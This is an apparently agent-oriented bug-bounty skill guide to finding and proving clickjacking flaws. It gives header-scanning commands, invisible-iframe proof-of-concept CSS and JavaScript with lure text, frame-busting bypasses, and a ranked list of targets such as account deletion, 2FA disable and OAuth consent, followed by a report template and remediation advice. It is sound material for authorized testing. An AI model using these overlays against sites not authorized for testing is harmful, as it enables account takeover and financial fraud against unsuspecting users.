Clickjacking Hunter

Clickjacking Hunter

Clickjacking (UI redressing) tricks a victim into clicking elements on a hidden target page by overlaying invisible iframes on top of decoy content. Impact ranges from account deletion and fund transfer to OAuth authorization and 2FA disable — any one-click sensitive action is a candidate.

---

Phase 1 — Check Framing Protections

1.1 Header check (fast)

curl -sI https://target.com/account/settings | grep -i "x-frame-options\|content-security-policy"

What you're looking for:

| Header | Value | Protection | |---|---|---| | X-Frame-Options | DENY | Blocks all framing | | X-Frame-Options | SAMEORIGIN | Same origin only | | X-Frame-Options | ALLOW-FROM uri | Deprecated, ignored by modern browsers | | X-Frame-Options | missing | Vulnerable | | Content-Security-Policy | frame-ancestors 'none' | Blocks all framing (supersedes XFO) | | Content-Security-Policy | frame-ancestors 'self' | Same origin only | | Content-Security-Policy | missing frame-ancestors | XFO governs, or no protection |

CSP frame-ancestors takes precedence over X-Frame-Options in modern browsers. Having only XFO is still accepted but weaker.

1.2 Scan multiple sensitive endpoints

for path in / /account/settings /account/delete /transfer /change-password /change-email /admin/dashboard /oauth/authorize /2fa/disable; do
  echo -n "$path: "
  h=$(curl -sI "https://target.com$path")
  xfo=$(echo "$h" | grep -i "x-frame-options" | tr -d '\r')
  csp=$(echo "$h" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
  [ -z "$xfo" ] && [ -z "$csp" ] && echo "NO PROTECTION" || echo "${xfo} | ${csp}"
done

1.3 Check for JavaScript frame-busting

curl -s https://target.com/account/settings | grep -i "top.location\|window.top\|parent.frames\|top !== self"

If found → weak protection, bypassable with sandbox attribute (see Phase 4).

1.4 Automated scan

python scripts/clickjacking_agent.py https://target.com /account/settings /account/delete /transfer

---

Phase 2 — Confirm Embedding

Before building a full PoC, confirm the page actually loads in an iframe:

  If the target loads below — vulnerable. If blank or console error — protected.
  

Open http://localhost:8888/frame-test.html in a browser where you're logged into the target. Check the browser console for Refused to display errors.

---

Phase 3 — Build the PoC

3.1 Single-click PoC

Position the decoy button exactly over the target's sensitive button. Adjust top/left to align:

You've been selected!

  #target-frame {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    opacity: 0.0001;   /* invisible */
    z-index: 2;
    border: none;
  }
  #decoy {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    z-index: 1;
    background: #fff;
    text-align: center;
  }
  #bait {
    position: absolute;
    top: 350px;   /* align with target's sensitive button */
    left: 400px;
    padding: 15px 30px;
    background: #4CAF50;
    color: #fff;
    font-size: 18px;
    border: none;
    cursor: pointer;
    border-radius: 4px;
  }
  /* Opacity slider — for screenshot evidence set to 0.5 */
  #ctrl { position: fixed; bottom: 10px; left: 10px; z-index: 10; background: #333; color: #fff; padding: 8px; border-radius: 4px; }

  
    Congratulations! You've been selected.
    Click below to claim your reward.
    CLAIM REWARD
  
  
  
    Opacity: 
  

Use the opacity slider to visually align the decoy button with the target button for the report screenshot.

3.2 Multi-step PoC

For actions requiring multiple clicks (e.g. Settings → Disable 2FA → Confirm):

Complete Survey

  #target-frame {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    opacity: 0.0001;
    z-index: 2;
    border: none;
  }
  .step { display: none; text-align: center; margin-top: 180px; }
  .step.active { display: block; }
  .btn {
    position: absolute;
    padding: 14px 36px;
    font-size: 17px;
    background: #2196F3;
    color: #fff;
    border: none;
    cursor: pointer;
  }

  
  
    Step 1 of 3: Pick your reward tier
    Gold
  
  
  
    Step 2 of 3: Confirm selection
    Confirm
  
  
  
    Step 3 of 3: Claim reward!
    Claim Now
  

  

  
    function go(n) {
      document.querySelector('.step.active').classList.remove('active');
      document.getElementById('s' + n).classList.add('active');
      // change iframe src if the action moves to a different page
      // document.getElementById('target-frame').src = 'https://target.com/...';
    }
  

---

Phase 4 — Frame-Busting Bypass

If JS frame-busting is detected (Phase 1.3), use these bypasses:

sandbox attribute (most reliable)

allow-top-navigation is intentionally omitted — this prevents top.location = ... from working.

Double-framing

If the target checks top !== self but not the grandparent:

The target sees top !== self is false relative to the middle frame.

onbeforeunload interception

window.onbeforeunload = () => "";

Prevents the frame-busting redirect from completing in some browsers.

---

Phase 5 — High-Value Targets

Always test these endpoints first — highest impact:

| Target | Attack | Potential impact | |---|---|---| | /account/delete | Single-click | Permanent account destruction | | /change-email or /change-password | Single-click | Account takeover | | /2fa/disable | Single or multi-step | Security downgrade → ATO | | /transfer or /checkout | Single-click on pre-filled form | Financial loss | | /oauth/authorize | Single-click | Attacker app authorized to victim's account | | /admin/* | Single-click | Admin action performed as victim | | /settings/connected-apps | Single-click | Malicious app authorized |

OAuth consent clickjacking

The OAuth consent screen is a prime target — victim clicks "Authorize" without knowing it:

Drag-and-drop variant (no click required)

If the target has a drag-and-drop file upload or sortable element, trick the user into dragging instead of clicking:

---

Phase 6 — Automation

pip install requests

# Check headers + generate PoC for first vulnerable endpoint
python scripts/clickjacking_agent.py https://target.com /account/settings /account/delete /transfer /admin

# PoC saved to clickjacking_poc.html — open in browser while logged into target
python3 -m http.server 8888
# http://localhost:8888/clickjacking_poc.html

---

Phase 7 — Report Structure

Title: Clickjacking on [endpoint] allows [account deletion / fund transfer / 2FA disable]

Severity: Medium — High depending on the sensitive action reachable

Affected endpoints: [list of vulnerable paths]

Steps to reproduce:
1. Log in to target.com as the victim
2. Open the PoC page (clickjacking_poc.html) in the same browser
3. Click the decoy button
4. Observe: [sensitive action performed on target.com]

Impact:
- [e.g. "Account deleted with a single click — no re-authentication required"]
- [e.g. "2FA disabled in two clicks — attacker can then take over account via credential stuffing"]

Evidence:
- Screenshot 1: PoC at opacity 0 — victim sees only decoy content
- Screenshot 2: PoC at opacity 0.5 — hidden iframe visible, button alignment confirmed
- Screenshot 3: Sensitive action completed on target after clicking decoy

Remediation:
- Add CSP: frame-ancestors 'none' to all pages (preferred — supersedes XFO)
- Add X-Frame-Options: DENY as fallback for legacy browsers
- Require re-authentication for irreversible actions (delete, transfer, email change)
- Add unpredictable CSRF tokens that expire quickly — limits iframe pre-fill window
- Set SameSite=Strict on session cookies — reduces session availability in cross-origin frames

---

Quick Priority Order

1. Account deletion / email change — one click → ATO or permanent loss
2. 2FA disable — security downgrade, enables ATO
3. OAuth consent screens — grants attacker app access to victim account
4. Financial actions (transfer, checkout) — direct financial impact
5. Admin actions — high impact if victim is an admin
6. Settings changes (notification prefs, connected apps) — lower severity

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: Rifteo
• Source: Rifteo/skills
• License: MIT

Install and usage instructions live in the source repository linked above.